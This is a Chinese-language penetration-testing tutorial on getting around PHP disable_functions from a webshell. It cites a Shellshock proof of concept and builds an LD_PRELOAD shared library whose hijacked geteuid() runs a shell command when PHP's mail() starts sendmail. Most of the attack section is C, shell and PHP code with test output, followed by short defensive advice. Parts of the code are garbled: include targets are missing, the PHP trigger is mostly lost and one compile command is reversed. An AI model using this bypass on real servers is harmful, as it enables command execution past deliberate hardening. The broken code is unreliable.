0x00 前言
在做滲透測試的時候如果遇到安全配置比較好的伺服器,當你通過各種途徑獲得一個php類型的webshell後,卻發現面對的是無法執行系統命令的尷尬,因為這類伺服器針對命令執行函數做了防範措施,後續的滲透行為都因此而止步。筆者這裡分享一個繞過思路,希望你能在實際測試中派上用場。
0x02 繞過思路
嚴苛環境下php設定的disable_function如下:
- dl
- exec
- system
- passthru
- popen
- proc_open
- pcntl_exec
- shell_exec
如果你遇到的設定中漏掉某些函數,那再好不過了,直接利用漏掉的函數繞過。但如果運氣不太好,遇到這種所有能直接執行系統命令的函數都被禁用的情況,那真是欲哭無淚。想反彈一個cmdshell變成奢望。當然考慮到開發使用等影響因素,一般web環境不應完全禁用。
筆者經過大量資料搜尋,發現在這種情況下還有幾種執行系統命令的方法,例如通過/proc/self/mem 修改got來劫持庫函數調用以及php還原序列化記憶體破壞漏洞利用,但這些方法利用起來難度都較大,你得先搞清楚記憶體位移地址等等知識點,並搭建相同的平台進行調試。而且一般來說安全配置還會嚴格限制使用者的檔案許可權並設定open_basedir,你根本沒有機會去讀取mem等檔案,很難利用成功。
那麼還有沒有別的方法?putenv和mail函數給了我們希望,如果系統沒有修補bash漏洞,利用網上已經給出的poc: http://www.exploit-db.com/exploits/35146/可以輕鬆繞過。
這個poc大體思路是通過putenv來設定一個包含自訂函數的環境變數,通過mail函數來觸發。為什麼mail函數能觸發,因為mail函數在執行過程中,php與系統命令執行函數有了交集,它調用了popen函數來執行,如果系統有bash漏洞,就直接觸發了惡意代碼的執行。但一般這種漏洞,安全意識好一點的營運,都會給打上補丁了。
那麼我們來繼續挖掘一下它的思路,php的mail函數在執行過程中會預設調用系統程式/usr/sbin/sendmail,如果我們能劫持sendmail程式,再用mail函數來觸發就能實現我們的目的了。那麼我們有沒有辦法在webshell層來劫持它呢,環境變數LD_PRELOAD給我們提供了一種簡單實用的途徑。
0x03 LD_PRELOAD hack
在UNIX的動態連結程式庫的世界中,LD_PRELOAD是一個有趣的環境變數,它可以影響程式運行時的連結,它允許你定義在程式運行前優先載入的動態連結程式庫。如果你想進一步瞭解這些知識,可以去網上搜尋相關文章,這裡不做過多解釋,直接來看一段常式,就能明白利用原理。
常式:verifypasswd.c
#!c#include #include int main(int argc, char **argv){char passwd[] = "password";if (argc < 2) { printf("usage: %s /n", argv[0]); return;}if (!strcmp(passwd, argv[1])) { printf("Correct Password!/n"); return;}printf("Invalid Password!/n");}
程式很簡單,根據判斷傳入的字串是否等於"password",得出兩種不同結果。 其中用到了標準C函數strcmp函數來做比較,這是一個外部調用函數,我們來重新編寫一個同名函數:
#!c#include #include int strcmp(const char *s1, const char *s2){ printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2); return 0;}
把它編譯為一個動態共用程式庫:
#!shell$ gcc -o verifypasswd.c verifypasswd $ gcc -shared verifypasswd -o hack.so
通過LD_PRELOAD來設定它能被其他調用它的程式優先載入:
#!shell$ export LD_PRELOAD="./hack.so"
運行給出的常式:
#!shell$ ./verifypasswd abcd $ Correct Password!
我們看到隨意輸入字串都會顯示密碼正確,這說明程式在運行時優先載入了我們自己編寫的程式。這也就是說如果程式在運行過程中調用了某個標準的動態連結程式庫的函數,那麼我們就有機會通過LD_PRELOAD來設定它優先載入我們自己編寫的程式,實現劫持。
0x04 實戰測試
那麼我們來看一下sendmail函數都調用了哪些庫函數,使用 readelf -Ws /usr/sbin/sendmail命令來查看,我們發現sendmail函數在運行過程動態調用了很多標準庫函數:
#!shell[[email protected]
Desktop]$ readelf -Ws /usr/sbin/sendmail Symbol table '.dynsym' contains 202 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000238 0 SECTION LOCAL DEFAULT 1 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND pcre_fullinfo 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.3 (3) 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.3 (3) 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND db_version 13: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 19: 0000000000000000 0 FUNC WEAK DEFAULT UND[email protected]_2.2.5 (2) 20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]
_2.2.5 (2) ......
從中選取一個合適的庫函數後我們就可以進行測試了:
- 編製我們自己的動態連結程式。
- 通過putenv來設定LD_PRELOAD,讓我們的程式優先被調用。
- 在webshell上用mail函數發送一封郵件來觸發。
我們來測試刪除一個建立的檔案,這裡我們選取geteuid()函數來改造,先在/tmp目錄建立一個檔案check.txt。
編寫hack.c:
#!c#include #include #include void payload() { system("rm /tmp/check.txt");} int geteuid() {if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();}
當這個共用庫中的geteuid被調用時,嘗試載入payload()函數,執行命令。這個測試函數寫的很簡單,實際應用時可相應調整完善。在攻擊機上(注意編譯平台應和靶機平台相近,至少不能一個是32位一個是64位)把它編譯為一個位置資訊無關的動態共用程式庫:
#!shell$ gcc -c -fPIC hack.c -o hack $ gcc -shared hack -o hack.so
再上傳到webshell上,然後寫一段簡單的php代碼:
#!php ","","","",""); ?>
在瀏覽器中開啟就可以執行它,然後再去檢查建立的檔案是否還存在,找不到檔案則表示系統成功執行了刪除命令,也就意味著繞過成功,測試中注意修改為實際路徑。 本地測試效果如下:
#!shell[[email protected]
Desktop]$ touch /tmp/check.txt [[email protected] bin]$ ./php mail.php sendmail: warning: the Postfix sendmail command has set-uid root file permissions sendmail: warning: or the command is run from a set-uid root process sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions sendmail: fatal: setgroups(1, &500): Operation not permitted [ [email protected] bin]$ cat /tmp/check.txt cat: /tmp/check.txt: No such file or directory
普通使用者權限,目標檔案被刪除。
0x05 小結
以上方法在Linux RHEL6及內建郵件服務+php5.3.X以下平台測試通過,精力有限未繼續在其他平台測試,新版本可能進行了相應修複。這種繞過行為其實也很容易防禦,禁用相關函數或者限制環境變數的傳遞,例如安全模式下,這種傳遞是不會成功的。這個思路不僅僅局限於mail函數,你可以嘗試追蹤其他函數的調用過程,例如syslog等與系統層有交集的函數是否也有類似調用動態共用程式庫的行為來舉一反三。